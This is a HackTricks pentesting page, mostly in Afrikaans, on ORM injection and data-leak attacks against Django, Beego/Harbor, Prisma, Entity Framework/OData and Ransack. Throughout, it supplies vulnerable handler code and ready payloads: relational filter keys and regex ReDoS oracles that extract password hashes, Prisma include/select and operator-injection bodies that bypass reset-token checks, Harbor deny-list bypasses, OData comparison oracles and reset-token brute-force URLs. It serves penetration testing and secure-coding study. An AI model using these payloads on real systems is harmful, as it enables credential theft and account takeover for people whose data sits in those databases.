ORM Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Django ORM (Python)
In this post word verduidelik hoe dit moontlik is om ’n Django ORM kwesbaar te maak deur byvoorbeeld kode soos die volgende te gebruik:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Let daarop dat alle request.data (wat ’n json sal wees) direk aan filter objects from the database deurgegee word. ’n Aanvaller kan onverwagte filters stuur om meer data te leak as wat verwag word.
Voorbeelde:
- Login: In ’n eenvoudige login probeer om die wagwoorde van die gebruikers wat daarin geregistreer is te leak.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Dit is moontlik om die password met brute-force te probeer totdat dit leaked.
- Relational filtering: Dit is moontlik om relasies te deurkruis om inligting uit kolomme te leak wat nie eens verwag is om in die operasie gebruik te word nie. Byvoorbeeld, as dit moontlik is om artikels te leak wat deur ’n gebruiker geskep is met hierdie relasies: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Dit is moontlik om die wagwoord van alle gebruikers te vind wat ’n artikel geskep het
- Many-to-many relational filtering: In die vorige voorbeeld kon ons nie die wagwoorde van gebruikers vind wat nie ’n artikel geskep het nie. Maar deur ander verhoudings te volg, is dit moontlik. Byvoorbeeld: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
In hierdie geval kan ons al die gebruikers in die afdelings van gebruikers wat artikels geskep het vind en dan hul wagwoorde leak (in die vorige json lek ons net die gebruikersname maar daarna is dit moontlik om die wagwoorde te leak).
- Misbruik van Django Group and Permission many-to-may relations met gebruikers: Verder word die AbstractUser model gebruik om gebruikers in Django te genereer en standaard het hierdie model ’n paar many-to-many relationships met die Permission and Group tables. Dit is basies ’n standaard manier om access other users from one user as hulle in dieselfde same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Dieselfde blogpost het voorgestel om die gebruik van sekere filtrering te omseil soos
articles = Article.objects.filter(is_secret=False, **request.data). Dit is moontlik om articles te dump wat is_secret=True is omdat ons terug kan loop vanaf ’n relasie na die Article-tabel en geheime artikels uit nie-geheime artikels kan leak omdat die resultate saamgevoeg word en die is_secret-veld in die nie-geheime artikel gekontroleer word terwyl die data vanaf die geheime artikel leak.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Deur verhoudings te misbruik is dit moontlik om selfs filters wat bedoel is om die vertoonde data te beskerm, te omseil.
- Error/Time based via ReDoS: In die vorige voorbeelde was daar verwag om verskillende reaksies te kry as die filtering gewerk het of nie, om dit as ’n oracle te gebruik. Maar dit kan moontlik wees dat ’n aksie in die database uitgevoer word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om ’n database error te veroorsaak om ’n nuwe oracle te kry.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Uit dieselfde pos oor hierdie vektor:
- SQLite: Het nie ’n regexp operator standaard nie (vereis die laai van ’n uitbreiding van ’n derdeparty)
- PostgreSQL: Het nie ’n standaard regex timeout nie en dit is minder vatbaar vir backtracking
- MariaDB: Het nie ’n regex timeout nie
Beego ORM (Go) & Harbor Filter Oracles
Beego spieël Django’s field__operator DSL, dus enige handler wat gebruikers toelaat om die eerste argument van QuerySeter.Filter() te beheer, maak die hele relasiegrafiek sigbaar:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Aanvrae soos /search?filter=created_by__user__password__icontains=pbkdf kan deur foreign keys pivot presies soos die Django primitives hierbo. Harbor’s q helper ontleed gebruikersinvoer in Beego filters, sodat gebruikers met lae voorregte geheime kon ondersoek deur lysantwoorde dop te hou:
GET /api/v2.0/users?q=password=~$argon2id$→ onthul of enige hash$argon2id$bevat.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Die tel van teruggegewe rye, die observeer van paginering-metadata, of die vergelyking van antwoordlengtes bied ’n orakel om volledige hashes, salts en TOTP seeds te brute-force.
Omseil Harbor’s patches met parseExprs
Harbor het probeer om sensitiewe velde te beskerm deur dit te tag met filter:"false" en slegs die eerste segment van die uitdrukking te valideer:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
It’s possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Die volgende kies al die poste wat deur iemand met ’n password geskep is en sal die password teruggee:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Volledige where clause beheer:
Kom ons kyk na hierdie voorbeeld waar die aanval die where clause kan beheer:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Dit is moontlik om die gebruikers se wagwoord direk te filter soos:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Deur operasies soos
startsWithte gebruik, is dit moontlik om inligting te leak.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Dit is moontlik om nie-gepubliseerde artikels te leak deur terug te loop na die many-to-many verhoudings tussen Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Dit is ook moontlik om alle gebruikers te leak deur sekere loop back many-to-many relationships te misbruik:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: In die oorspronklike pos kan jy ’n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting te leak met ’n time based payload. Dit is:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Waar die {CONTAINS_LIST} ’n lys met 1000 strings is om te verseker dat die response vertraag word wanneer die korrekte leak gevind word.
Tipeverwarring by where filters (operator injection)
Prisma se query API aanvaar óf primitive values óf operator objects. Wanneer handlers aanvaar dat die request body blote strings bevat maar dit direk aan where deurgee, kan attackers operators insmuggel in authentication flows en token checks omseil.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Algemene dwangvektore:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ kom ooreen met elke gebruiker wie se token nieEis nie. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassword dieselfde objek. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}as cookies na Prisma deurgegee word.
Omdat Prisma gemaklik { resetToken: { not: … } }, { contains: … }, { startsWith: … }, ens. evalueer, kan enige gelykheidstoets op secrets (reset tokens, API keys, magic links) uitgebrei word tot ’n predikaat wat slaag sonder om die secret te ken. Kombineer dit met relationele filters (createdBy) om ’n slagoffer te kies.
Kyk na vloei waar:
- Versoek-skemas word nie afgedwing nie, sodat geneste objekte deserialisering oorleef.
- Uitgebreide body/query parsers bly geaktiveer en aanvaar hakiesintaksis.
- Handlers stuur gebruiker JSON direk na Prisma in plaas daarvan om dit op ’n toegelate lys velde/operateurs te map.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableHelpers wat elke string-eienskap oplys en dit binne .Contains(term) omsluit, stel effektief wagwoorde, API-tokens, salts en TOTP-geheime bloot aan enige gebruiker wat die endpoint kan aanroep. Directus CVE-2025-64748 is ’n werklike voorbeeld waar die directus_users search endpoint token en tfa_secret in sy gegenereerde LIKE-predikate ingesluit het, wat resultaatstelle in ’n leak oracle verander het.
OData comparison oracles
ASP.NET OData controllers gee dikwels IQueryable<T> terug en laat $filter toe, selfs wanneer funksies soos contains gedeaktiveer is. Solank die EDM die eienskap blootstel, kan aanvallers nog steeds daarop vergelyk:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Die blootteenwoordigheid of afwesigheid van resultate (of pagineringmetadata) laat jou toe om elke karakter binêr te soek volgens die database collation. Navigasie-eienskappe (CreatedBy/Token, CreatedBy/User/Password) maak relasionele pivots moontlik, soortgelyk aan Django/Beego, so enige EDM wat sensitiewe velde blootstel of per-eienskap deny-lists oorslaan is ’n maklike teiken.
Biblioteke en middleware wat gebruikersstringe na ORM-operateurs vertaal (bv. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) moet as hoogrisiko sinks beskou word, tensy hulle streng veld-/operator allow-lists implementeer.
Ransack (Ruby)
Hierdie truuks is gevind in hierdie pos.
Tip
Let wel dat Ransack 4.0.0.0 nou die gebruik van ’n eksplisiete toelaatlys vir soekbare attributte en assosiasies afdwing.
Kwetsbare voorbeeld:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Let op hoe die query deur die parameters wat deur die aanvaller gestuur word, gedefinieer sal word. Dit was byvoorbeeld moontlik om die reset token te brute-force met:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit ’n databasis te leak.
Kollasie-bewuste leak-strategieë
Tekenreeks-vergelykings erf die databasis se kollasie, dus moet leak-orakels ontwerp word rondom hoe die backend karakters orden:
- Die standaard collations van MariaDB/MySQL/SQLite/MSSQL is dikwels case-insensitive, dus kan
LIKE/=nieavanAonderskei nie. Gebruik case-sensitive operators (regex/GLOB/BINARY) wanneer die geheim se hoofdlettergebruik saak maak. - Prisma en Entity Framework spieël die databasis se ordening. Collations soos MSSQL se
SQL_Latin1_General_CP1_CI_ASplaas leestekens voor syfers en letters, dus moet binary-search probes daardie ordening volg in plaas van die ruwe ASCII-byte-volgorde. - SQLite se
LIKEis case-insensitive tensy ’n pasgemaakte kollasie geregistreer is, dus kan Django/Beego leaks__regexpredikate nodig hê om case-sensitive tokens te herstel.
Kalibreer payloads op die werklike kollasie om vermorsde probes te vermy en geautomatiseerde substring-/binary-search-aanvalle aansienlik te versnel.
Verwysings
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


